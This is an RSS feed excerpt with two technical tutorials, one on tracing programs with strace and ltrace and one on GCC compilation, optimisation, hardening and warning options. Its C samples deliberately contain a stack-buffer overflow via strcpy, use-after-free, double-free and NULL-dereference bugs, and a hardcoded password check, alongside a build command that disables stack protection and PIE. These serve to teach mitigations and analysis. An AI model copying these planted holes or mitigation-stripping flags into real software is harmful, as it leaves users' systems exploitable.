            <title><![CDATA[Deep Dive into strace and ltrace for Technical Practitioners]]></title>
            <link>https://can-ozkan.medium.com/deep-dive-into-strace-and-ltrace-for-technical-practitioners-981bd2d54480?source=rss-b1e265f0b360------2</link>
            <guid isPermaLink="false">https://medium.com/p/981bd2d54480</guid>
            <dc:creator><![CDATA[Can Özkan]]></dc:creator>
            <pubDate>Sun, 30 Nov 2025 11:16:26 GMT</pubDate>
            <atom:updated>2025-11-30T11:16:26.412Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Introduction</h3><p>Understanding how a process interacts with the underlying operating system is essential. Every program, regardless of its complexity, relies on a series of system calls and library calls that orchestrate tasks such as reading files, allocating memory, loading shared libraries, connecting to networks, and spawning new processes. Having visibility into these interactions provides a powerful way to debug failures and uncover unexpected behavior. This is where tools like <strong>strace</strong> and <strong>ltrace</strong> become necessary.</p><p><strong>strace</strong> is a user-space debugging tool that traces <em>system calls, </em>the low-level operations that transition control between user space and the Linux kernel. At this level, you can observe how a program opens files, performs network requests, manipulates memory mappings, or creates child processes. For example, even a command as simple as ls results in dozens of system calls. By intercepting and logging them, strace offers a transparent window into the kernel-level activity of any running program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*nKlQOAVBCs2Q-qd-EHV9Dw.png" /></figure><p>Where strace focuses on kernel boundaries, <strong>ltrace</strong> operates at a higher level, showing you the <em>library function calls</em> made by a binary. These are typically functions imported from shared libraries such as glibc, including common functions like malloc, printf, strcpy, and strcmp. If system calls show <em>what</em> the program interacts with, library calls help you understand <em>how</em> it processes data and logic internally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*UY6-Z0QviWfUi8PT8w2h_g.png" /></figure><pre>// gcc -Wall -O0 -o password_checker password_checker.c<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>int main(void) {<br>    char input[128];<br><br>    printf(&quot;Enter password: &quot;);<br>    if (!fgets(input, sizeof(input), stdin)) {<br>        return 1;<br>    }<br><br>    // Strip newline<br>    input[strcspn(input, &quot;\n&quot;)] = &#39;\0&#39;;<br><br>    if (strcmp(input, &quot;supersecret&quot;) == 0) {<br>        puts(&quot;Access granted&quot;);<br>        return 0;<br>    } else {<br>        puts(&quot;Access denied&quot;);<br>        return 1;<br>    }<br>}</pre><p>While both tools offer introspection, they serve distinct purposes and operate at different levels. strace reveals how a program interacts with the kernel, making it invaluable for diagnosing file permission errors, network issues, or unexpected process behavior. ltrace exposes the user-space control logic, making it helpful in understanding algorithmic flow, uncovering password checks, or spotting insecure library usage.</p><h3>2. Understanding the Foundations</h3><p>Both work by intercepting interactions between a user-space program and the environment it depends on, but these interactions occur at different layers of the system. <em>strace</em> sees system calls — requests a program makes to the Linux kernel — while <em>ltrace</em> sees library calls implemented in user-space libraries, such as glibc. Understanding the distinction between these layers is crucial because it explains why strace captures some behaviors that ltrace cannot, and vice versa.</p><h3>2.1 Linux System Calls (Kernel Boundary)</h3><p>System calls are the fundamental interface between user programs and the Linux kernel. User-space code cannot directly perform privileged operations such as reading a file, allocating physical memory, or creating a new process. Instead, it must ask the kernel to perform these operations on its behalf via a system call. When you run a program, even a trivial one like printf(&quot;hello&quot;), the program eventually invokes several syscalls, such as write for output, mmap for memory allocation, and exit when it finishes.</p><p>A typical system call is invoked through a software interrupt or a fast system call instruction (syscall on x86_64). At that moment, the CPU switches from user mode to kernel mode, executes the kernel routine, and returns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*79t_rJXhwuODEve5mHcvmA.png" /></figure><p>Even though the source code only calls printf, the system-level behavior involves multiple syscalls because printing to a file descriptor requires kernel mediation. <em>strace</em> works by intercepting each of these transitions into the kernel using the ptrace API, which allows one process to observe and control another.</p><p>Syscalls give you a complete view of how a program interacts with the OS, such as files opened, memory mappings created, sockets connected, signals sent, and so on. This makes strace particularly useful for diagnosing I/O issues, permission errors, network problems, or unexpected resource usage.</p><h3>2.2 User-Space Library Calls</h3><p>While system calls represent the kernel boundary, most user programs do not invoke syscalls directly. Instead, they call functions from shared libraries, most commonly glibc, that wrap lower-level operations. These are <em>library calls</em>, and they provide higher-level abstractions such as formatted I/O (printf), string manipulation (strcmp, strcpy), dynamic memory management (malloc), and threading.</p><p>These library functions typically reside in the Procedure Linkage Table (PLT) and Global Offset Table (GOT) sections of dynamically linked ELF binaries. When a program calls a shared library function for the first time, the PLT/GOT mechanism resolves the actual address of the function in the shared library and then caches it for subsequent calls.</p><p>For example, if you run the same hello program with ltrace, you see calls like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*9YHwPMi8Brn5jOEtUR7eTw.png" /></figure><h3>2.3 Static vs. Dynamic Linking</h3><p>Dynamic linking is what makes ltrace possible. When a program depends on shared libraries (e.g., glibc), the executable contains references in the PLT/GOT that ltrace can intercept. However, not all programs use dynamic linking. A <em>statically linked</em> binary embeds all required library code directly into the executable itself, eliminating the need for external library references.</p><p>You can check linking with:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*v-D91KnIhe8gOj7-gevTSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*5ENUypWE_yr6T3C45KAldA.png" /></figure><p>For such binaries, ltrace has little to no trace, as no external shared library calls are made. However, <em>strace</em> works normally regardless of linking method, because system calls are unavoidable even in statically compiled binaries.</p><p>This difference underscores the value of understanding the compilation model. For debugging or reversing statically linked binaries, strace becomes significantly more important, while ltrace may provide limited or no visibility.</p><h3>Case Study: Revealing Hidden or Unexpected Network Behavior</h3><p>Consider a proprietary binary from a vendor. The vendor claims the software “does not communicate externally,” but you require verification for security auditing purposes.</p><pre>// gcc -Wall -O0 -o vendor_tool vendor_tool.c<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;arpa/inet.h&gt;<br>#include &lt;netdb.h&gt;<br>#include &lt;sys/socket.h&gt;<br><br>static int connect_to_example(void) {<br>    int sockfd;<br>    struct addrinfo hints, *res;<br>    int ret;<br><br>    memset(&amp;hints, 0, sizeof(hints));<br>    hints.ai_family   = AF_INET;<br>    hints.ai_socktype = SOCK_STREAM;<br><br>    // Resolve example.com<br>    ret = getaddrinfo(&quot;example.com&quot;, &quot;443&quot;, &amp;hints, &amp;res);<br>    if (ret != 0) {<br>        fprintf(stderr, &quot;getaddrinfo: %s\n&quot;, gai_strerror(ret));<br>        return -1;<br>    }<br><br>    sockfd = socket(res-&gt;ai_family, res-&gt;ai_socktype, res-&gt;ai_protocol);<br>    if (sockfd &lt; 0) {<br>        perror(&quot;socket&quot;);<br>        freeaddrinfo(res);<br>        return -1;<br>    }<br><br>    if (connect(sockfd, res-&gt;ai_addr, res-&gt;ai_addrlen) &lt; 0) {<br>        perror(&quot;connect&quot;);<br>        close(sockfd);<br>        freeaddrinfo(res);<br>        return -1;<br>    }<br><br>    const char msg[] = &quot;status=ok\n&quot;;<br>    write(sockfd, msg, sizeof(msg) - 1);<br>    char buf[64];<br>    read(sockfd, buf, sizeof(buf)); // ignore result<br><br>    close(sockfd);<br>    freeaddrinfo(res);<br>    return 0;<br>}<br><br>int main(void) {<br>    printf(&quot;Running vendor_tool...\n&quot;);<br><br>    // Pretend this is controlled by config<br>    const char *flag = &quot;enable_remote&quot;;<br>    const char *value = &quot;true&quot;;<br><br>    if (strcmp(flag, &quot;enable_remote&quot;) == 0 &amp;&amp; strcmp(value, &quot;true&quot;) == 0) {<br>        printf(&quot;Remote status reporting enabled.\n&quot;);<br>        connect_to_example();<br>    } else {<br>        printf(&quot;Remote status reporting disabled.\n&quot;);<br>    }<br><br>    return 0;<br>}</pre><p>Running strace with network filtering:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*MkqRMn0dITkFS04qDWbByQ.png" /></figure><p>Thanks for reading,</p><p>Can</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=981bd2d54480" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GCC Compilation Options: A Deep Technical Guide]]></title>
            <link>https://can-ozkan.medium.com/gcc-compilation-options-a-deep-technical-guide-733d0dd13b3d?source=rss-b1e265f0b360------2</link>
            <guid isPermaLink="false">https://medium.com/p/733d0dd13b3d</guid>
            <dc:creator><![CDATA[Can Özkan]]></dc:creator>
            <pubDate>Sat, 29 Nov 2025 11:48:03 GMT</pubDate>
            <atom:updated>2025-12-02T07:48:19.689Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Introduction</h3><p>The GNU Compiler Collection (GCC) is one of the most widely used compilers. Its flexibility, combined with decades of optimizations and extensions, makes it a powerful tool not only for building production software but also for understanding how code behaves at a low level. GCC gives developers control over every stage of compilation, allowing developers to optimize for performance, debug more effectively, harden an application against attacks, or deliberately strip away defenses for controlled security testing and reverse engineering.</p><p>A typical GCC invocation hides a multi-stage pipeline behind a single gcc command. Yet, when writing low-level or security-critical software, understanding this pipeline becomes essential. GCC does far more than translate C code into machine instructions: it preprocesses macros, performs complex optimization passes, generates architecture-specific assembly, and resolves symbol references during linking. Each of these phases can be controlled or inspected using specific flags. For example, you can stop the compilation after preprocessing to debug macro expansions, or emit the intermediate assembly to understand how a particular optimization transforms your code.</p><p>The compilation pipeline can be summarized as follows:</p><ol><li><strong>Preprocessing:</strong> Expanding macros, removing comments, processing #include directives.</li><li><strong>Compilation:</strong> Converting preprocessed C code into an abstract syntax tree (AST), then into assembly.</li><li><strong>Assembly:</strong> Converting assembly into machine code object files (.o).</li><li><strong>Linking:</strong> Resolving external references and producing the final executable or library.</li></ol><p>The following commands demonstrate stopping the process at different stages:</p><pre># Preprocess only<br>gcc -E main.c -o main.i<br><br># Compile to assembly<br>gcc -S main.c -o main.s<br><br># Compile to object file (no linking)<br>gcc -c main.c -o main.o</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qAceVx5P9n4FHMvc-xB5-Q.png" /></figure><h3>2. Basic Compilation Options</h3><h3>2.1 Creating Object Files &amp; Executables</h3><p>Many developers only use gcc main.c -o a.out without realizing that GCC is capable of exposing each phase of the compilation pipeline individually, which gives much finer control over what is produced and how the code is transformed on the way to becoming an executable.</p><p>The source code of main.c is given below.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;stdlib.h&gt;<br><br>// A simple function that triggers optimization differences<br>int compute_sum(int *arr, int n) {<br>    int sum = 0;<br><br>    // Loop unrolling and vectorization show up clearly here<br>    for (int i = 0; i &lt; n; i++) {<br>        sum += arr[i];<br>    }<br><br>    return sum;<br>}<br><br>// A function with a stack buffer (useful for stack protector tests)<br>void copy_data(const char *input) {<br>    char buffer[16];<br><br>    // Vulnerable copy (used to test FORTIFY_SOURCE, ASan, stack canaries)<br>    strcpy(buffer, input);<br><br>    printf(&quot;Copied: %s\n&quot;, buffer);<br>}<br><br>// Function demonstrating standard library usage + potential sanitizer findings<br>int parse_and_add(const char *a, const char *b) {<br>    int x = atoi(a);<br>    int y = atoi(b);<br>    return x + y;<br>}<br><br>// Useful for demonstrating PIE vs non-PIE, PLT usage, and GOT resolution<br>void print_message(void) {<br>    puts(&quot;Hello from sample program!&quot;);<br>}<br><br>int main(int argc, char **argv) {<br>    if (argc &lt; 3) {<br>        printf(&quot;Usage: %s &lt;string&gt; &lt;number&gt;\n&quot;, argv[0]);<br>        return 1;<br>    }<br><br>    print_message();<br><br>    int arr[5] = {1, 2, 3, 4, 5};<br>    int total = compute_sum(arr, 5);<br>    printf(&quot;Sum = %d\n&quot;, total);<br><br>    copy_data(argv[1]);<br><br>    int result = parse_and_add(argv[1], argv[2]);<br>    printf(&quot;Result = %d\n&quot;, result);<br><br>    return 0;<br>}</pre><ul><li>gcc file.c vs gcc -o output file.c</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*_Fj9-NmacFBFV_l1kh0DxA.png" /></figure><p>The most fundamental distinction to understand is between <em>compilation</em> and <em>linking</em>. Compilation transforms a .c file into an object file (.o) that contains machine code but may still have unresolved external references. Linking then resolves these references and produces the final executable. GCC can be instructed to stop after any step, allowing for the examination of intermediate outputs or the manual performance of custom linking operations.</p><p>To compile without linking, the -c flag is used. This option instructs GCC to translate the C source file into an object file but not to attempt to produce an executable. This is useful in multi-file projects where each source file is compiled independently before being linked together. For example:</p><pre>gcc -c main.c -o main.o</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*gSEA57rEZytne-v461lyhQ.png" /></figure><p>Another useful option in low-level development is -S, which stops the compilation after generating assembly output. This is particularly valuable for analyzing how the compiler transforms C constructs into machine instructions, studying calling conventions, or writing hybrid C/assembly code.</p><pre>gcc -S main.c -o main.s</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*IKuwBcnT3e9GUpGtwa1yww.png" /></figure><p>Another area is controlling the language standard. Modern C development requires explicit specification of the desired standard, especially as different compilers may default to older versions. GCC supports a variety of standards, such as c89, c99, c11, and c17, as well as GNU dialects that include additional extensions. Specifying the standard ensures consistent behavior across build environments:</p><pre>gcc -std=c11 main.c -o main</pre><p>For developers who need strict adherence to the selected standard, GCC offers the -pedantic and -pedantic-errors flags. These options enforce compliance and signal any use of non-standard extensions. This can help ensure portability in critical embedded or cross-platform projects. For example:</p><pre>gcc -std=c99 -pedantic -Wall example.c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*ZN5fttDLQKOzGROwnx_Fsg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aJ4fsOvdTyL4JsZAnjdC_w.png" /></figure><h3>3. Optimization Options</h3><p>GCC offers several optimization flags designed to improve execution speed, reduce binary size, or generate highly tuned machine code for specific architectures. These optimization passes operate on intermediate representations of the code, transforming loops, inlining functions, eliminating redundant operations, and reorganizing data flow to produce more efficient binaries.</p><p>For this, there are the “-O” levels: -O0, -O1, -O2, -O3, -Os, and -Ofast. Each level represents a predefined bundle of optimization passes. The default level is -O0, which disables almost all optimizations and generates code that closely reflects the structure of the original source. This is ideal for debugging because variable lifetimes, stack frames, and control flow remain largely intact. Reverse engineers also prefer -O0 builds because the resulting binaries retain a more direct correspondence to the C code.</p><pre>gcc -O0 main.c -o main</pre><p>When optimization begins at -O1, GCC applies transformations that improve performance without significantly altering program structure. These include basic block reordering, simple dead-code elimination, and local optimizations. The goal of -O1 is to make the program faster while keeping compile times short.</p><pre>gcc -O1 main.c -o main</pre><p>The -O2 level is the most commonly used default in production environments. It enables all optimizations that do not involve a tradeoff considered too risky or aggressive. At this level, GCC performs global optimizations such as common subexpression elimination, loop optimization, instruction combining, vectorization (if supported), and more aggressive inlining. Most performance-oriented distributions and build systems choose -O2 because it offers a substantial speed boost without significantly increasing compilation time or introducing unexpected behavior.</p><pre>gcc -O2 program.c -o program</pre><p>The -O3 level pushes GCC to apply more aggressive optimizations and attempt deeper transformations. This includes loop unrolling, loop interchange, increased inlining, and more aggressive vectorization strategies. These optimizations can result in notable performance gains for math-heavy or CPU-bound workloads but may also lead to larger binaries or even slower performance in certain cases due to instruction cache pressure. Developers often benchmark -O2 vs. -O3 to determine whether the additional optimization is beneficial.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DS6JhWxF5YP7nwRdwsE2CA.png" /></figure><h3>4. Debugging Options</h3><p>Debugging compiled programs requires visibility into how variables, functions, and control flow exist within the binary. Without additional information, the executable produced by GCC contains only raw machine code with limited metadata, making it difficult for tools such as GDB, LLDB, or objdump to map assembly back to the original source code. To assist developers, GCC provides a set of debugging options that embed symbolic information, control optimization behavior, and produce auxiliary outputs that help analyze how code is transformed. These options are essential for low-level development, reverse engineering, static analysis, and diagnosing difficult runtime issues.</p><p>The most fundamental debugging option is -g, which instructs GCC to include debugging symbols in the generated executable. These symbols contain mappings between machine instructions and the corresponding lines of source code, along with information about variables, types, function boundaries, and stack frames. The -g flag can be used with any optimization level, but using it in combination with -O0 generally produces the most intuitive debugging experience. For example:</p><pre>gcc -g -O0 main.c -o main</pre><p>Additionally, enabling -fno-omit-frame-pointer preserves the frame pointer register (typically rbp on x86-64), making stack traces and backtraces more reliable.</p><pre>gcc -g -O0 -fno-omit-frame-pointer debug.c -o debug</pre><p>Furthermore, GCC offers mechanisms to inspect stack usage and internal compiler decisions. The -fstack-usage flag generates a .su file for each compiled source file, detailing the estimated stack size of every function. This is especially important for embedded systems, where stack memory is limited, or when diagnosing stack-overflow vulnerabilities.</p><pre>gcc -c -fstack-usage main.c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*Pb0xA0oCIdpaAdEf9vxGkg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R0PjYJE1kQZtuB2uAoZP3g.png" /></figure><h3>5. Security-Related Options</h3><p>Security hardening at the compiler level is one of the most powerful yet often overlooked aspects of modern software development. GCC provides a variety of options that insert runtime protections, enforce memory safety constraints, randomize memory layouts, and strengthen the binary against exploitation techniques such as buffer overflows, return-oriented programming (ROP), and function pointer corruption. These flags can dramatically increase the difficulty of exploiting vulnerabilities, and they form a critical foundation for defense-in-depth strategies in both user applications and system-level software.</p><p>One of the fundamental mitigations offered by GCC is <strong>stack protection</strong>, enabled through the -fstack-protector family of flags. Stack canaries help detect stack-buffer overflows by placing a random guard value between local variables and the saved return address. If the canary is modified, the program aborts rather than continuing execution with a corrupted return pointer. The default -fstack-protector enables canaries for functions that contain arrays or variables deemed “risky.” The stronger variant, -fstack-protector-strong, covers more functions, including those with local buffers, and has become a common default in hardened distributions. The most comprehensive protection level is -fstack-protector-all, which instruments every function regardless of whether it appears vulnerable.</p><pre>gcc -fstack-protector-strong main.c -o program_with_canaries</pre><p>Furthermore, Position-Independent Code (<strong>PIC</strong>) is another critical compile-time defense. Generating PIC with -fPIC ensures that the resulting machine code can run correctly regardless of its absolute memory address. This is essential for shared libraries and enables Address Space Layout Randomization (ASLR), which randomizes memory layouts at runtime. Binaries that require dynamic relocations when loaded should use -fPIE and be linked with -pie to produce a position-independent executable (PIE). Most modern Linux distributions compile system binaries as PIE by default.</p><pre>gcc -fPIE -pie app.c -o app</pre><p>Moreover, <strong>RELRO</strong> (Relocation Read-Only) is implemented through linker flags. RELRO marks certain sections of the binary’s memory layout as read-only to prevent overwriting entries in the Global Offset Table (GOT), which is a common target for exploit techniques that redirect function pointers. The “partial” RELRO mode is enabled with -Wl,-z,relro, and the stricter “full” RELRO mode requires pairing it with -Wl,-z,now, which forces immediate symbol resolution at startup instead of allowing lazy binding.</p><p>Additionally, GCC also supports <strong>FORTIFY_SOURCE</strong>, a glibc-backed mechanism that replaces unsafe functions with safer alternatives when certain conditions are met. Enabling -D_FORTIFY_SOURCE=1 or -D_FORTIFY_SOURCE=2 adds lightweight compile-time and runtime checks to functions like strcpy, sprintf, and memcpy when the compiler can determine buffer sizes. Level 2 enables stricter checks and fails more aggressively on out-of-bounds writes. Also, these fortifications work only when optimizations are enabled (typically at -O2 or above), as the compiler needs visibility into the code structure to apply them.</p><p>Another significant category of mitigation involves protecting control flow. GCC’s -fcf-protection option enables hardware-assisted Control-flow Enforcement Technology (CET) on platforms that support Intel CET. Enabling -fcf-protection=full adds both Shadow Stack (SS) and Indirect Branch Tracking (IBT) protections, making it far harder for attackers to execute ROP or JOP chains. On systems without CET hardware support, this option is ignored gracefully.</p><pre>gcc -fcf-protection=full main.c -o secure_module</pre><p>Stack Clash attacks, which exploit gaps between the stack and heap or guard pages, can be mitigated by -fstack-clash-protection. This flag inserts guard pages and probes to ensure large stack allocations cannot silently overrun adjacent memory. It is a critical defense for programs that perform deep recursion or dynamic stack allocation.</p><pre>gcc -fstack-clash-protection server.c -o server</pre><p>Memory sanitizers provide another layer of security for detecting vulnerabilities during development. Although not typically used in production builds, sanitizers like AddressSanitizer (-fsanitize=address), UndefinedBehaviorSanitizer (-fsanitize=undefined), and ThreadSanitizer (-fsanitize=thread) help detect severe bugs early. AddressSanitizer, for instance, catches use-after-free errors, buffer overflows, and other memory safety issues, while UBSan warns about undefined behavior, such as integer overflow or invalid type punning. These tools are invaluable in test environments and improve overall code quality.</p><pre>gcc -fsanitize=address -fno-omit-frame-pointer main.c -o scan</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*MqV7eqlmqdlKboEAnIdTFQ.png" /></figure><p>For reverse engineering and vulnerability analysis, the opposite perspective is often relevant: disabling these protections to study exploitation techniques or to replicate real-world vulnerabilities. Flags such as -fno-stack-protector, -no-pie, and -U_FORTIFY_SOURCE deliberately remove mitigations, producing binaries that reflect older or unhardened software.</p><pre>gcc -O0 -g -fno-stack-protector -no-pie vulnerable.c -o vulnerable</pre><p>Understanding both how to enable and how to disable compiler-based protections is essential for professionals analyzing exploitability, conducting training exercises, or studying the evolution of software security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcsL5fUerZ8U223aTrL9QA.png" /></figure><h3>6. Development Quality &amp; Warning Options</h3><p>Ensuring code quality is an essential part of software engineering, and the compiler can act as the first line of defense against subtle bugs, unsafe practices, and logic errors. GCC provides an extensive set of warning and diagnostic options that help developers detect issues early. While compilers are primarily known for turning source files into binaries, modern GCC serves an additional role as a static analysis tool, capable of identifying potential problems, guiding refactoring efforts, and enforcing project-wide coding standards.</p><p>GCC contains a warning system,-Wall option, which enables a broad collection of commonly useful warnings. Contrary to what its name implies, -Wall does <strong>not</strong> enable <em>all</em> warnings; instead, it activates a curated set that GCC developers believe provides high value without excessive noise. These cover issues such as unused variables, missing return statements, uninitialized variables, and suspicious pointer operations. For most projects, -Wall should be considered a minimum baseline.</p><pre>gcc -Wall main.c -o main</pre><pre>// sample_with_warnings.c<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;stdlib.h&gt;<br><br>int compute_sum(int *arr, int n) {<br>    int sum = 0;<br><br>    // WARNING: unused variable<br>    int unused_temp = 123;<br><br>    // WARNING: signed/unsigned comparison (i &lt; n where n can be negative)<br>    for (unsigned i = 0; i &lt; n; i++) {<br>        sum += arr[i];<br>    }<br><br>    return sum;<br>}<br><br>void copy_data(const char *input) {<br>    char buffer[16];<br><br>    // WARNING: implicit declaration of strcpy if &lt;string.h&gt; was missing<br>    // (but we included string.h, so this is fine)<br>    strcpy(buffer, input);<br><br>    printf(&quot;Copied: %s\n&quot;, buffer);<br>}<br><br>int parse_and_add(const char *a, const char *b) {<br>    int x = atoi(a);<br>    int y;<br><br>    // WARNING: y is used uninitialized in this branch<br>    if (x &gt; 100)<br>        return x + y;  // &lt;-- y may be uninitialized<br><br>    // WARNING: shadowed variable &#39;x&#39;<br>    int x_shadow = atoi(b);<br>    return x + x_shadow;<br>}<br><br>// WARNING: shadowed parameter &#39;argc&#39;<br>void print_message(int argc) {<br>    int argc = 10;  // Intentional redefinition to trigger -Wshadow<br>    printf(&quot;Hello! argc shadowed = %d\n&quot;, argc);<br>}<br><br>// WARNING: wrong printf format specifier<br>void print_sum(long long v) {<br>    printf(&quot;Value = %d\n&quot;, v);  // should be %lld<br>}<br><br>int main(int argc, char **argv) {<br>    if (argc &lt; 3) {<br>        printf(&quot;Usage: %s &lt;string&gt; &lt;number&gt;\n&quot;, argv[0]);<br>        return 1;<br>    }<br><br>    print_message(argc);<br><br>    int arr[5] = {1, 2, 3, 4, 5};<br>    int total = compute_sum(arr, 5);<br>    print_sum(total);<br><br>    copy_data(argv[1]);<br><br>    int result = parse_and_add(argv[1], argv[2]);<br>    printf(&quot;Result = %d\n&quot;, result);<br><br>    // WARNING: unused variable<br>    int debug_flag = 0;<br><br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*NdgRlIVb4BUZd_1BS0L4fw.png" /></figure><p>Building upon this, the -Wextra flag enables additional warnings that are slightly more verbose or specialized. These include warnings about signed/unsigned comparisons, unused function parameters, and unsafe or suspicious type conversions. When combined with -Wall, it significantly increases the compiler’s ability to detect subtle issues.</p><pre>gcc -Wall -Wextra program.c -o program</pre><p>As modern software becomes more complex, traditional warnings alone may be insufficient to detect deeper issues. GCC addresses this with <strong>GCC’s static analysis mode</strong> enabled by the -fanalyzer option. This mode performs interprocedural analysis, tracking how values propagate through the program and identifying potential null-pointer dereferences, memory leaks, double frees, and incorrect state transitions. While not a replacement for dedicated static analysis tools, it provides a powerful built-in diagnostic layer that requires no additional installation.</p><pre>// analyzer_demo.c<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br><br>/*<br> * Scenario 1: double free and use-after-free<br> */<br>void process_buffer(int trigger_double_free) {<br>    char *buf = malloc(32);<br>    if (!buf) {<br>        return;<br>    }<br><br>    strcpy(buf, &quot;Hello from process_buffer&quot;);<br><br>    if (trigger_double_free) {<br>        free(buf);<br>        /* BUG: use-after-free */<br>        printf(&quot;Buffer after free (UAF): %s\n&quot;, buf);<br><br>        /* BUG: double free */<br>        free(buf);<br>        return;<br>    }<br><br>    /* Normal path: but we forget to free here → leak */<br>    if (buf[0] == &#39;H&#39;) {<br>        printf(&quot;Normal path: %s\n&quot;, buf);<br>        return;  // leak: buf not freed on this path<br>    }<br><br>    /* This path (unlikely) frees correctly */<br>    free(buf);<br>}<br><br>/*<br> * Scenario 2: null-pointer dereference<br> */<br>int length_or_default(const char *s) {<br>    if (s == NULL) {<br>        /* BUG: dereference NULL pointer */<br>        return (int)strlen(s);<br>    }<br><br>    return (int)strlen(s);<br>}<br><br>/*<br> * Scenario 3: resource leak on FILE*<br> */<br>void write_message_to_file(const char *path, const char *msg, int simulate_error) {<br>    FILE *f = fopen(path, &quot;w&quot;);<br>    if (!f) {<br>        return;<br>    }<br><br>    if (simulate_error) {<br>        /* BUG: early return without fclose → resource leak */<br>        return;<br>    }<br><br>    fprintf(f, &quot;Message: %s\n&quot;, msg);<br><br>    /* Correct close only on some paths */<br>    fclose(f);<br>}<br><br>int main(int argc, char **argv) {<br>    /* Trigger double free + UAF path */<br>    process_buffer(1);<br><br>    /* Trigger leak path (no double free) */<br>    process_buffer(0);<br><br>    /* Trigger null dereference */<br>    int len = length_or_default(NULL);<br>    printf(&quot;Length = %d\n&quot;, len);<br><br>    /* Trigger resource leak on error path */<br>    write_message_to_file(&quot;out.txt&quot;, &quot;Hello, analyzer!&quot;, 1);<br><br>    /* Normal path (no leak) */<br>    write_message_to_file(&quot;out_ok.txt&quot;, &quot;All good here&quot;, 0);<br><br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*q1ztMNAfV1cqiNU0JpBtxA.png" /></figure><pre>analyzer_demo.c: In function ‘process_buffer’:<br>analyzer_demo.c:22:9: warning: double-‘free’ of ‘buf’ [CWE-415] [-Wanalyzer-double-free]<br>   22 |         free(buf);<br>      |         ^~~~~~~~~<br>  ‘process_buffer’: events 1-8<br>    |<br>    |    9 |     char *buf = malloc(32);<br>    |      |                 ^~~~~~~~~~<br>    |      |                 |<br>    |      |                 (1) allocated here<br>    |   10 |     if (!buf) {<br>    |      |        ~         <br>    |      |        |<br>    |      |        (2) assuming ‘buf’ is non-NULL<br>    |      |        (3) following ‘false’ branch (when ‘buf’ is non-NULL)...<br>    |......<br>    |   14 |     strcpy(buf, &quot;Hello from process_buffer&quot;);<br>    |      |     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>    |      |     |<br>    |      |     (4) ...to here<br>    |   15 | <br>    |   16 |     if (trigger_double_free) {<br>    |      |        ~         <br>    |      |        |<br>    |      |        (5) following ‘true’ branch (when ‘trigger_double_free != 0’)...<br>    |   17 |         free(buf);<br>    |      |         ~~~~~~~~~<br>    |      |         |<br>    |      |         (6) ...to here<br>    |      |         (7) first ‘free’ here<br>    |......<br>    |   22 |         free(buf);<br>    |      |         ~~~~~~~~~<br>    |      |         |<br>    |      |         (8) second ‘free’ here; first ‘free’ was at (7)<br>    |<br>analyzer_demo.c:29:9: warning: leak of ‘buf’ [CWE-401] [-Wanalyzer-malloc-leak]<br>   29 |         return;  // leak: buf not freed on this path<br>      |         ^~~~~~<br>  ‘process_buffer’: events 1-9<br>    |<br>    |    9 |     char *buf = malloc(32);<br>    |      |                 ^~~~~~~~~~<br>    |      |                 |<br>    |      |                 (1) allocated here<br>    |   10 |     if (!buf) {<br>    |      |        ~         <br>    |      |        |<br>    |      |        (2) assuming ‘buf’ is non-NULL<br>    |      |        (3) following ‘false’ branch (when ‘buf’ is non-NULL)...<br>    |......<br>    |   14 |     strcpy(buf, &quot;Hello from process_buffer&quot;);<br>    |      |     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>    |      |     |<br>    |      |     (4) ...to here<br>    |   15 | <br>    |   16 |     if (trigger_double_free) {<br>    |      |        ~         <br>    |      |        |<br>    |      |        (5) following ‘false’ branch (when ‘trigger_double_free == 0’)...<br>    |......<br>    |   27 |     if (buf[0] == &#39;H&#39;) {<br>    |      |        ~~~~~~~   <br>    |      |        |   |<br>    |      |        |   (6) ...to here<br>    |      |        (7) following ‘true’ branch...<br>    |   28 |         printf(&quot;Normal path: %s\n&quot;, buf);<br>    |      |         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>    |      |         |<br>    |      |         (8) ...to here<br>    |   29 |         return;  // leak: buf not freed on this path<br>    |      |         ~~~~~~   <br>    |      |         |<br>    |      |         (9) ‘buf’ leaks here; was allocated at (1)<br>    |<br>analyzer_demo.c: In function ‘length_or_default’:<br>analyzer_demo.c:42:21: warning: use of NULL ‘s’ where non-null expected [CWE-476] [-Wanalyzer-null-argument]<br>   42 |         return (int)strlen(s);<br>      |                     ^~~~~~~~~<br>  